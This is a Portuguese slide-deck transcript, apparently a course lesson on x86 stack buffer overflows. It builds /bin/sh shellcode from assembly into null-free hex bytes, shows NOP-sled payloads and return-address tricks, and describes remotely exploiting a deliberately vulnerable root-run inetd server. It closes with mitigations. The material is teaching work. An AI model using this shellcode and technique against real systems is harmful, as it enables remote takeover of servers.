ou Stack Overrun ou Stack smashing

Slides:



Advertisements
Apresentações semelhantes
Funções em C.
Advertisements

SOFTWARE BÁSICO.
Assembly Language for Intel-Based Computers, 5 th Edition Chapter 8: procedimentos avançados (c) Pearson Education, All rights reserved. You.
Programando com Threads em C
Prof. José Fernando Rodrigues Júnior Pacotes Material original: Profa. Elaine Parros Machado de Sousa SCC Bancos de Dados e Suas Aplicações.
Ronaldo Celso Messias Correia
Implementando um Montador com LEX e YACC
Programação C++.
SISTEMA BINÁRIO Hardware de Computadores. SISTEMA BINÁRIO Hardware de Computadores.
Método de diferenças finitas para problemas lineares
FORTRAN 90 Denise Yumi Takamura.
SQL Procedural Junho/2006.
Arquiteturas de 4, 3, 2, 1 e 0 endereços.
Utilização do montador Daedalus
Vulnerabilidade de Unicode
(Como implementar multiplicação e divisão uma vez só :-)
Buffer Overflow ou Stack Overrun ou Stack Smashing.
Servidores e Programação Web Redes de Computadores.
Profa. Graziela Santos de Araújo Algoritmos e Programação II, 2010
Introdução A fim de preparar a geração de código, deve-se relacionar o fonte estático do programa às ações em tempo de execução. Durante a execução, o.
Geração de Código Cap. 8. Introdução Fase final para um compilador Entrada é uma representação intermediária do código fonte e a saída é um programa para.
Funções de um computador
CES-11 LAB 03 Bitmap Quadtree
CES-10 INTRODUÇÃO À COMPUTAÇÃO Aulas Práticas – 2013 Capítulo III Comandos de Controle.
1.3 – Interpretadores – Compiladores versus Interpretadores
CES-41 COMPILADORES Aulas Práticas
CES-10 INTRODUÇÃO À COMPUTAÇÃO Aulas Práticas – 2013 Capítulo VII Variáveis Indexadas Numéricas.
CES-10 INTRODUÇÃO À COMPUTAÇÃO Aulas Práticas – 2013 Capítulo XI Encadeamento de Estruturas por Ponteiros.
Capítulo IX – Ponteiros 9.1 – Introdução 9.2 – Relação entre ponteiros e variáveis indexadas 9.3 – Alocação dinâmica de memória 9.4 – Variáveis indexadas,
Capítulo I – Conceitos Primários 1.1 – Estrutura de um computador 1.2 – Informações manipuladas por um computador 1.3 – Evolução das linguagens de programação.
FUNDAÇÃO CARLOS CHAGAS
EEL170 COMPUTAÇÃO I Antonio Cláudio Gómez de Sousa 5a série de slides Versão 26/04/2012.
ALOCAÇÃO DINÂMICA DE MEMÓRIA
ANEXO-1 : INSTRUÇÕES(ROTINA)
OTIMIZAÇÃO DE DESEMPENHO
LINGUAGEM C X LINGUAGEM ASSEMBLY
ARQUITETURA DE COMPUTADORES SOFTWARE PROGRAMA SEQUENCIA DE INSTRUÇÕES
Interpolação Introdução Conceito de Interpolação
Sistemas Lineares Parte 2
Organização de Sistemas de Computadores
Desempenho A rápida taxa de melhoria na tecnologia de computadores veio em decorrência de dois fatores: avanços na tecnologia utilizada na construção.
Recursividade Estrutura de Dados.
Comandos básicos do MS-DOS
Entendendo as definições de classe
LINGUAGENS DE PROGRAMAÇÃO
Sistemas Operacionais e Windows XP Aula 04 – DCA0302.
04:27 Introdução Tipos de Fluxo de Dados e de Arquivos Manipulação de Arquivos em Java Classes FileReader e FileWriter Classes FileInputStream e FileOutputStream.
Programação Concorrente com Thread Java
OpenGL Computação Gráfica. O que é OpenGL? Uma linguagem de programação gráfica de baixo nível Projetada para gráfico interativo 2D e 3D Uma interface.
INPE / CAP-334 Celso L. Mendes Aula 4-D(1) Reestruturação de Programas em Sistemas Vetoriais (II) Tópicos: Suporte à Paralelização Vetorização.
Assembly x86.
A arquitectura IA32 A arquitectura de um processador é caracterizada pelo conjunto de atributos que são visíveis ao programador. Tamanho da palavra Número.
Programação em Assembly Procedimentos e funções
Ataques à Aplicações Prof.: Márcio Aurélio R. Moreira
Usando Java no Oracle Por Edson Almeida Junior
Exercícios de revisão.
Linguagem de Montagem.
INPE / CAP-315 Airam J. Preto, Celso L. Mendes Aula 30 (1) Empacotamento de Dados em MPI Tópicos: Buffer de Mensagem Empacotamento/Desempacotamento.
Segurança e auditoria de sistemas Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
Segurança em Aplicações 3. Principais Ataques
Linguagem de Montagem PROVA 4 – 3/12.
Hugo Calazans André Ricardo
Microprocessadores 8051 – Aula 3 Interrupção
Divisão Sonia Regina de Souza Guedes Vamos dividir Vamos dividir por 1 algarismo?
Procedimentos Registro de Ativação e Variáveis Locais 11 1.
Hugo Calazans André Ricardo
Lucas Aranha ASSEMBLY Lucas Aranha
Existem 8 registos principais de 32 bits no processador (existem mais como %EIP): %EAX %EBX %ECX %EDX %ESI %EDI %EBP %ESP Os registos são armazenados em.
ASSEMBLY – aula 2 Hugo Calazans
Programação em Assembly
Transcrição da apresentação:

ou Stack Overrun ou Stack smashing Buffer Overflow ou Stack Overrun ou Stack smashing

Chamando uma Função EBP EBP EBP ESP ESP ESP EBP ESP push 2 push 1 0xFF void teste (int a, int b) { char buffer[10]; int *i; ... } int main (void) { int x = 0; teste(1,2); x = 1; printf(“%d\n”,x); exit(0); EBP EBP EBP ESP ESP ESP 2 2 1 buffer[10] RET EBP (antigo) *i 1 RET EBP EBP (antigo) buffer[10] ESP *i push 2 push 1 call teste ... call exit push %ebp mov %esp, %ebp sub $10, %esp ret push 2 push 1 call teste push %ebp mov %esp, %ebp sub $10, %esp ... ret 0x00 Segmento de Dados (RW) Segmento de Código (RO) Memória não inicializada

Overflow ? Segmentation fault Invalid instruction ... 0x00 0xff P E B P 0x00 0xff *i buffer[10] buffer[10] RET EBP (antigo) EBP (antigo) RET 1 2 ? 0x00 push 2 push 1 call teste ... call exit push %ebp mov %esp, %ebp sub $10, %esp ret Segmentation fault Invalid instruction ... Segmento de Dados (RW) Segmento de Código (RO) Memória não inicializada

Manipulação do Retorno Objetivo: pular a instrução x=1 e fazer com que seja impresso um 0 ao invés de 1. exemplo1.c void teste (int a, int b) { char buffer[10]; int *i; i = (int *)buffer; ... } int main (void) { int x = 0; teste(1,2); x = 1; printf(“%d\n”,x); exit(0);

Manipulação do Retorno Compilar usando o gcc Desmontar usando o gdb # gcc –o exemplo1 exemplo1.c # gdb exemplo1 GNU gdb 6.0-debian Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"... (gdb)disassemble main

Manipulação do Retorno Desmontar usando o gdb (gdb) disassemble main Dump of assembler code for function main: 0x08048375 <main+0>: push %ebp 0x08048376 <main+1>: mov %esp,%ebp 0x08048378 <main+3>: sub $0x8,%esp 0x0804837b <main+6>: and $0xfffffff0,%esp 0x0804837e <main+9>: mov $0x0,%eax 0x08048383 <main+14>: sub %eax,%esp 0x08048385 <main+16>: movl $0x0,0xfffffffc(%ebp) 0x0804838c <main+23>: sub $0x8,%esp 0x0804838f <main+26>: push $0x2 0x08048391 <main+28>: push $0x1 0x08048393 <main+30>: call 0x8048367 <teste> 0x08048398 <main+35>: add $0x10,%esp 0x0804839b <main+38>: movl $0x1,0xfffffffc(%ebp) 0x080483a2 <main+45>: sub $0x8,%esp 0x080483a5 <main+48>: pushl 0xfffffffc(%ebp) ... RET RET+10 x = 1

Manipulação do Retorno Descobrindo endereços (gdb) disassemble teste Dump of assembler code for function function: 0x08048374 <teste+0>: push %ebp 0x08048375 <teste+1>: mov %esp,%ebp 0x08048377 <teste+3>: sub $0x28,%esp 0x0804837a <teste+6>: lea 0xffffffe8(%ebp),%eax 0x0804837d <teste+9>: mov %eax,0xffffffe4(%ebp) 40 bytes 0xffffffe8(%ebp) = EBP - 24 0xffffffe4(%ebp) = EBP - 28 i = (int *)buffer; E S P E B P 0x00 Ajuste 12 bytes *i 4 bytes buffer[10] 10 bytes Ajuste 14 bytes EBP (antigo) 4 bytes RET 4 bytes 1 2 buffer + 28

Manipulação do Retorno exemplo2.c Solução Só falta compilar e ver se funciona... void teste (int a, int b) { char buffer[10]; int *i; i = (int *)(buffer + 28); (*i) += 10; } int main (void) { int x = 0; teste(1,2); x = 1; printf(“%d\n”,x); exit(0);

Executando Código do Atacante # ftp atenas.ftp.com Connected to atenas.ftp.com. 220 atenas FTP server (Version wu-2.6.2(5) Wed Mar 6 03:40:07 EST 1999) ready. Name: # ftp atenas.ftp.com Connected to atenas.ftp.com. 220 atenas FTP server (Version wu-2.6.2(5) Wed Mar 6 03:40:07 EST 1999) ready. Name: \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d \x4e\x08\x8d\x56\xcd\x80\x31xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\xdb\x89... username ajuste EBP (antigo) 0x00 ... Código do Atacante RET 4 bytes ... username[128] 128 bytes Ajuste EBP (antigo) 4 bytes RET 4 bytes 1 2 exemplo3.c void read_username (void) { char username[128]; char readbuf[256]; fgets(readbuf, 256, stdin); strcpy(username, readbuf); } ret ... sub $10, %esp mov %esp, %ebp push %ebp ... call exit ... call teste push 1 push 2 0x00

ShellCode O que é? Em linguagem C: Em código binário char *lista[2]; lista[0] = “/bin/sh”; lista[1] = NULL; execve(lista[0], lista, NULL); exit(0); "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

Criando o ShellCode execve() Parâmetros: filename: o caminho do executável a ser chamado argv: a linha de parâmetros da chamada envp: variáveis de ambiente para a nova chamada int execve (const char *filename, const char *argv[], const char *envp[]);

Criando o ShellCode Chamando a execve() em C Necessidades: Área de dados para o string “/bin/sh” Área de dados para um nulo (NULL) Montar a chamada execve() em assembler char *lista[2]; lista[0] = “/bin/sh”; lista[1] = NULL; execve(lista[0], lista, NULL);

Criando o ShellCode Assembler da chamada execve() movl 0xb, %eax ; número da execve movl string_addr, %ebx ; lista[0] lea string_addr, %ecx ; lista lea null_string, %edx ; NULL int $0x80 … … string: .string /bin/sh\0 ; nome do programa string_addr: .long string ; endereço do string null_string: .long 0

Criando o ShellCode exit() Parâmetros Assembler status: o código de encerramento exit(0); encerramento normal Assembler void exit(int status); movl 0x1, %eax movl 0x0, %ebx int $0x80

Criando o ShellCode Juntando execve() e exit(), temos: movl 0xb, %eax ; número da execve movl string_addr, %ebx ; lista[0] lea string_addr, %ecx ; lista lea null_string, %edx ; NULL int $0x80 movl 0x1, %eax movl 0x0, %ebx string: .string /bin/sh\0 ; nome do programa string_addr: .long string ; endereço do string null_string: .long 0

Criando o ShellCode Problema: Solução: Posição do buffer na memória é desconhecida, portanto: Não sabemos onde está nossa área de dados, ou seja, qual o endereço da string “/bin/sh” e dos outros dados? Código têm que ser independente de posição Para complicar ainda mais: Arquitetura 80x86: inexistência de código relativo ao program counter (PC) Solução: Precisamos obter algum endereço para usar como referência

Criando o ShellCode Encontrando um endereço para usar como referência 0xFF jmp end_code begin_code: pop %esi movl 0xb, %eax movl string_addr, %ebx lea string_addr, %ecx lea null_string, %edx int $0x80 movl 0x1, %eax movl 0x0, %ebx end_code: call begin_code string: .string /bin/sh\0 string_addr: .long string null_string: .long 0 RET RET .long string .long 0 .string /bin/sh call begin_code ... ... ... pop %esi jmp end_code 0x00

Criando o ShellCode Agora temos o endereço de referência no registrador esi, e o novo código fica: jmp end_code begin_code: pop %esi movl 0xb, %eax movl %esi, 0x8(%esi) movl %esi, %ebx lea 0x8(%esi), %ecx lea 0xc(%esi), %edx int $0x80 movl 0x1, %eax movl 0x0, %ebx end_code: call begin_code string: .string /bin/sh\0 ; 8 bytes string_addr: .long string ; 4 bytes null_string: .long 0 ; 4 bytes esi esi+8 esi+12

Criando o ShellCode Calculando os deslocamentos para as instruções jmp e call jmp .+0x1f ; 2 bytes begin_code: pop %esi ; 1 byte movl 0xb, %eax ; 5 bytes movl %esi, 0x8(%esi) ; 3 bytes movl %esi, %ebx ; 2 bytes lea 0x8(%esi), %ecx ; 3 bytes lea 0xc(%esi), %edx ; 3 bytes int $0x80 ; 2 bytes movl 0x1, %eax ; 5 bytes movl 0x0, %ebx ; 5 bytes end_code: call .-0x24 ; 5 bytes string: .string /bin/sh\0 ; 8 bytes string_addr: .long string ; 4 bytes null_string: .long 0 ; 4 bytes

Criando o ShellCode Código em hexa Novo problema: byte zero (\x00) indica fim de string "\xeb\x1f\x5e\xb8\x0b\x00\x00\x00\x89\x76\x08\x89\xf3\x8d\x4e\x08\x8d\x56\x0c \xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdc\xff\xff\xff \x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00"

Criando o ShellCode Bytes nulos jmp .+0x1f begin_code: pop %esi movl 0x0000000b, %eax movl %esi, 0x8(%esi) movl %esi, %ebx lea 0x8(%esi), %ecx lea 0xc(%esi), %edx int $0x80 movl 0x00000001, %eax movl 0x00000000, %ebx end_code: call .-0x24 string: .string /bin/sh\0 string_addr: .long 0x00000000 null_string: .long 0x00000000

Criando o ShellCode Substituindo instruções movl 0x0000000b, %eax ... movl 0x00000001, %eax movl 0x00000000, %ebx xor %eax, %eax movb 0x0b, %al ... mov %eax, %ebx inc %eax

Criando o ShellCode Bytes nulos na área de dados jmp .+0x1f begin_code: pop %esi xor %eax, %eax ; zero no eax movb %al, 0x7(%esi) ; \0 movl %eax, 0xc(%esi) ; null_string movb 0x0b, %al movl %esi, 0x8(%esi) ; string_addr movl %esi, %ebx lea 0x8(%esi), %ecx lea 0xc(%esi), %edx int $0x80 xor %eax, %eax mov %eax, %ebx inc %eax end_code: call .-0x24 string: .string /bin/sh\0 string_addr: .long 0x00000000 null_string: .long 0x00000000

Criando o ShellCode Verificando deslocamentos (jmp/call) jmp .+0x1f ; 2 bytes begin_code: pop %esi ; 1 byte xor %eax, %eax ; 2 bytes movb %al, 0x7(%esi) ; 3 bytes movl %eax, 0xc(%esi) ; 3 bytes movb 0x0b, %al ; 2 bytes movl %esi, 0x8(%esi) ; 3 bytes movl %esi, %ebx ; 2 bytes lea 0x8(%esi), %ecx ; 3 bytes lea 0xc(%esi), %edx ; 3 bytes int $0x80 ; 2 bytes xor %ebx, %ebx ; 2 bytes mov %ebx, %eax ; 2 bytes inc %eax ; 1 byte end_code: call .-0x24 ; 5 bytes string: .string /bin/sh ; 7 bytes

Criando o ShellCode Código em hexa (final) "\xeb\x1f\x5e\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x76\x08\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\xeb\x1f\x5e\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x76\x08\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

Causando um Overflow Exemplo de rotina vulnerável para executar um ShellCode exemplo3.c void read_username (void) { char username[128]; char readbuf[256]; fgets(readbuf, 256, stdin); strcpy(username, readbuf); }

Causando um Overflow Montando o “username” a ser enviado readbuf Endereço do username[128] ShellCode readbuf[256] 256 bytes Endereço do username[128] Endereço do username[128] Endereço do username[128] ... Endereço do username[128] strcpy() username ajuste EBP (antigo) 0x00 ... username[128] 128 bytes Ajuste EBP (antigo) 4 bytes RET 4 bytes ... ...

Qual o valor para RET? Não sabemos qual o endereço exato do início do buffer na máquina remota String para o Buffer Overflow RET ShellCode ?

Qual o valor do RET? Podemos usar o valor do Stack Pointer da nossa máquina como referência Os valores iniciais do SP tendem a ser próximos entre máquinas semelhantes (arquitetura e sistema operacional) atacante servidor ESP ESP antes da execução outras variáveis username[128] outras variáveis ESP outras variáveis ret ret ... ... ... ... 0x00 0x00

Qual o valor do RET? A diferença (offset) entre o nosso SP e o endereço inicial do username é o que temos que encontrar Como definir o offset correto? atacante servidor ESP offset ESP antes da execução outras variáveis username[128] outras variáveis ESP outras variáveis ret ret ... ... ... ... 0x00 0x00

Qual o valor do RET? Detalhe: temos que acertar exatamente o endereço de início do username, ou: podemos acertar uma instrução fora do shellcode ou no meio dele; ou podemos acertar o meio de uma instrução ou algo que nem uma instrução seja, resultando em erro de execução (invalid instruction) String para o Buffer Overflow ShellCode RET

Qualquer endereço desta faixa resolve nosso problema!!! Qual o valor do RET? NOP (0x90) Instrução de 1 byte O processador simplesmente ignora e vai para a próxima instrução String para o Buffer Overflow N O P RET ShellCode Qualquer endereço desta faixa resolve nosso problema!!!

Montando o Buffer Obter um shellcode Preparar um string Dimensionar um buffer de tamanho adequado Preencher a metade inicial com NOP’s Preencher o fim com o endereço adequado Posicionar o shell code no meio Problemas: achar o tamanho e o endereço adequados N O P RET ShellCode

Um Buffer Overflow de Verdade A Teoria da Prática….

Cenário Necessidade: Servidor vulnerável Opcional: inetd para ativar o servidor Objetivo explorar remotamente um buffer-overflow Principal dificuldade: descobrir o endereço do buffer remoto (para utilizar como ponto de retorno) Determinação exata: acertando na loto Aumentando as chances com NOPs

Servidor de Data/Hora servidor.c void read_username (void) { char username[USERNAME_SZ]; // USERNAME_SZ = 128 char readbuf[READBUF_SZ]; // READBUF_SZ = 256 printf("username: "); fflush(stdout); fgets(readbuf, READBUF_SZ, stdin); strcpy(username, readbuf); } int main (int argc, char **argv) { time_t ticks; read_username(); ticks = time(NULL); printf("%.24s\r\n", ctime(&ticks)); exit(0);

Nosso Objetivo (Atacante) Explorar remotamente a possibilidade de Buffer Overflow existente no servidor Executar comandos arbitrários através dessa exploração e obter controle da máquina alvo do ataque

Experimentar na própria máquina Ativar o servidor Tentar o “remote exploit” Adivinhar o tamanho do buffer e a distância deste para a pilha Executar testes sistemáticos variar tamanho do buffer (não exagerar) variar distância desde um mínimo até um máximo, em passos fixos (ex: de -3000 a +3000, de 50 em 50) Obter informações sobre o servidor (código fonte, etc)

Evitando o Ataque Corrigir o programa Controlar corretamente a quantidade de bytes lidos Controlar a quantidade de bytes copiados servidor.c void read_username (void) { ... fgets(readbuf, READBUF_SZ, stdin); fgets(readbuf, USERNAME_SZ, stdin); strcpy(username, readbuf); strncpy(username, readbuf, USERNAME_SZ); } E se não tivermos acesso ao fonte?

Evitando o Ataque Reduzir as permissões de acesso do programa servidor O programa servidor precisa ter permissões de root para obter a data/hora do sistema? No /etc/inetd.conf: Esperar pela correção do problema a ser realizada pelo desenvolvedor Desabilitar o serviço aula stream tcp nowait root /root/aula/servidor

Evitando o Ataque Arquitetura: Segmento de Pilha não executável (NX) Compilador: inserção de valor randômico na pilha (canário) e verificação antes do retorno (stack guard) Sistema Operacional: alocação de espaço randômico na pilha (Red Hat: Exec Shield) Programador: uso de bibliotecas mais seguras (ex.: strncpy) e “boas práticas”

Buffer Overflow Práticas

Manipulação do Retorno Objetivo: pular a instrução x=1 e fazer com que seja impresso um 0 ao invés de 1. exemplo1.c void teste (int a, int b) { char buffer[10]; int *i; i = (int *)buffer; ... } int main (void) { int x = 0; teste(1,2); x = 1; printf(“%d\n”,x); exit(0);

Manipulação do Retorno exemplo2.c Solução do exercício Só falta compilar e ver se funciona... O que acontece se ao invés de somar 10 ao (*i) somarmos 8? Qual o deslocamento para pular o printf? void teste (int a, int b) { char buffer[10]; int *i; i = (int *)(buffer + 28); (*i) += 10; } int main (void) { int x = 0; teste(1,2); x = 1; printf(“%d\n”,x); exit(0); # gcc –o exemplo2 exemplo2.c

Simulando o Overflow Apenas vamos modificar o programa vulnerável para executar o ShellCode exemplo3.c void read_username (void) { char username[128]; char readbuf[256]; fgets(readbuf, 256, stdin); strcpy(username, readbuf); }

Simulando o Overflow Simulação do fgets() exemplo4.c char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void read_username (void) { char username[128]; char readbuf[256]; int i; long *p = (long *) readbuf; fgets(readbuf, 256, stdin); for (i=0; i<(READBUF_SZ/4); i++) p[i] = (long) username; readbuf[READBUF_SZ-1] = '\0'; for (i=0; i<strlen(shellcode); i++) readbuf[i]=shellcode[i]; strcpy(username, readbuf); } Simulação do fgets()

Cenário Necessidade: Servidor vulnerável Opcional: inetd para ativar o servidor Objetivo explorar remotamente um buffer-overflow Principal dificuldade: descobrir o endereço do buffer remoto (para utilizar como ponto de retorno) Adivinhar o tamanho do buffer e a distância deste para a pilha Executar testes sistemáticos variar tamanho do buffer (não exagerar) variar distância desde um mínimo até um máximo, em passos fixos (ex: de -3000 a +3000, de 50 em 50)

Servidor de Data/Hora servidor.c void read_username (void) { char username[USERNAME_SZ]; // USERNAME_SZ = 128 char readbuf[READBUF_SZ]; // READBUF_SZ = 256 printf("username: "); fflush(stdout); fgets(readbuf, READBUF_SZ, stdin); strcpy(username, readbuf); } int main (int argc, char **argv) { time_t ticks; read_username(); ticks = time(NULL); printf("%.24s\r\n", ctime(&ticks)); exit(0);

O Servidor e o Inetd O inetd espera pela conexão e liga o socket TCP já conectado ao stdin/stdout do servidor No /etc/services No /etc/inetd.conf aula 9000/tcp aula stream tcp nowait root /root/aula/servidor